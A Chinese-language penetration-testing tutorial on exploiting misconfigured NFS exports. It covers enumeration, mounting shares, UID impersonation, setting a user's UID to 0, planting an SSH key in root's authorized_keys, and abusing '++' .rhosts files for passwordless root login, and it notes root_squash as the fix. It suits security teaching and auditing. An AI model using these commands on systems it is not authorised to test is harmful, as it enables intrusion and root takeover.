簡介
NFS(Network File System)
即網絡文件系統,是FreeBSD
支持的文件系統中的一種,它允許網絡中的計算機之間通過TCP/IP
網絡共享資源。在NFS
的應用中,本地NFS
的客戶端應用可以透明地讀寫位於遠端NFS
服務器上的文件,就像訪問本地文件一樣。如今NFS
具備了防止被利用導出文件夾的功能,但遺留系統中的NFS
服務配置不當,則仍可能遭到惡意攻擊者的利用。
發現NFS服務
NFS服務的默認開放端口為2049/TCP,因此我們可以借助Nmap
來針對性的進行探測。
2049/tcp open nfs 2-4 (RPC #100003)
此外,我們也可以通過rpcinfo
命令來確定主機上是否運行或掛載了NFS服務。
rpcinfo -p IP
顯示導出文件夾列表
以下命令將會檢索給定主機的導出文件夾列表,這些信息將被用於訪問這些文件夾。
showmount -e IP
當showmount
命令與以下參數一起使用時,可以為我們檢索到更多的信息,例如:
- 掛載點
- 連接的主機
- 目錄
showmount IP // 連接的主機
showmount -d IP // 目錄
showmount -a IP // 掛載點
另外,Metasploit
框架中也有一個模塊,可以用來列出導出文件夾。
auxiliary/scanner/nfs/nfsmount
在這里我再推薦一個實用的小工具NFS Shell,它可以連接到NFS共享並可以幫助我們手動識別一些常見的安全問題。想要使用它我們首先需要安裝以下依賴項:
apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell
使用以下命令獲取導出文件夾列表:
nfs> host IP // 連接NFS服務
nfs> export // 導出NFS列表
訪問NFS共享
導出的文件夾可以通過創建一個空的本地文件夾,並將共享掛載到該文件夾來訪問,如下所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
當成功驗證共享掛載后,我們可以通過以下命令來列出所有的本地磁盤信息。
df -h
此時,我們可以像訪問其他文件夾一樣輕松的訪問共享文件夾。
cd /temp/
ls
UID操作
如果對於共享上的文件我們沒有讀取權限該怎么辦?其實這也很簡單,我們可以偽造文件所有者的UID來欺騙NFS服務器。以下展示的是NFS文件訪問拒絕提示:
首先,我們通過以下命令來獲取文件所有者的UID(用戶ID)
和GUID(組ID)
。
ls -al
接着,我們在本地創建一個新用戶,並將該用戶的UID
和名稱修改為與文件所有者相同。
useradd <user>
passwd <user>
UID
可以在passwd
文件中更改。
vi /etc/passwd
從掛載的文件夾執行su
命令,並使用之前創建的已知密碼,此時當前用戶將會被切換到新用戶。
su <useraccount>
由於該文件的UID與新用戶的UID相同,因此系統會誤認為這是文件權限的所有者,這樣我們就可以以一個合法的用戶身份來讀取文件的內容了。
之所以造成這種問題,原因在於導出文件夾並未設置root_squash選項。root_squash登入NFS主機,使用該共享目錄時相當於該目錄的擁有者。但是如果是以root身份使用這個共享目錄的時候,那么這個使用者(root)的權限將被壓縮成為匿名使用者,即通常他的UID與GID都會變成nobody那個身份,以防止越權訪問。
可以在以下位置啟用或禁用root_squash選項:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash
如果passwd文件具有寫入權限,那么我們可以通過將一些非特權用戶的UID更改為0,使其具有根級別的訪問權限。從下圖中可以看到,我將service用戶的UID修改為了0,此時該用戶將具備root的訪問權限。
通過SSH連接命令再次與目標服務器建立連接,service將獲取到一個root訪問權限。
shell訪問
根據存儲在導出文件夾中的文件,可能可以通過SSH或RSH和Rlogin來獲取到shell訪問權限。 我們着重來關注以下兩個文件:
- authorized_keys
- rhosts
這兩個文件都隱藏在NFS文件夾中,我們可以利用以下命令來確定這些文件的存在。
ls -al
生成一個SSH密鑰對並將其公鑰添加到授權密鑰列表中,那樣我們就可以通過NFS服務器上的SSH與其建立連接了。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
.rhosts
文件用來配置哪些遠程主機或用戶可以訪問系統上的本地帳戶。如果.rhosts
文件的內容為++符號,則說明它允許來自網絡上的任何主機和用戶的連接。
cat .rhosts
++
以下命令將允許系統的root用戶直接連接目標系統,系統將不會提示密碼輸入,因為來自系統的所有用戶都將被信任。
rsh -l root IP
rlogin -l root IP
或者如果.rhosts的內容不同,則檢查文件將有助於確定哪些主機和用戶是可信的,因此可以在無需密碼的情況下進行身份驗證。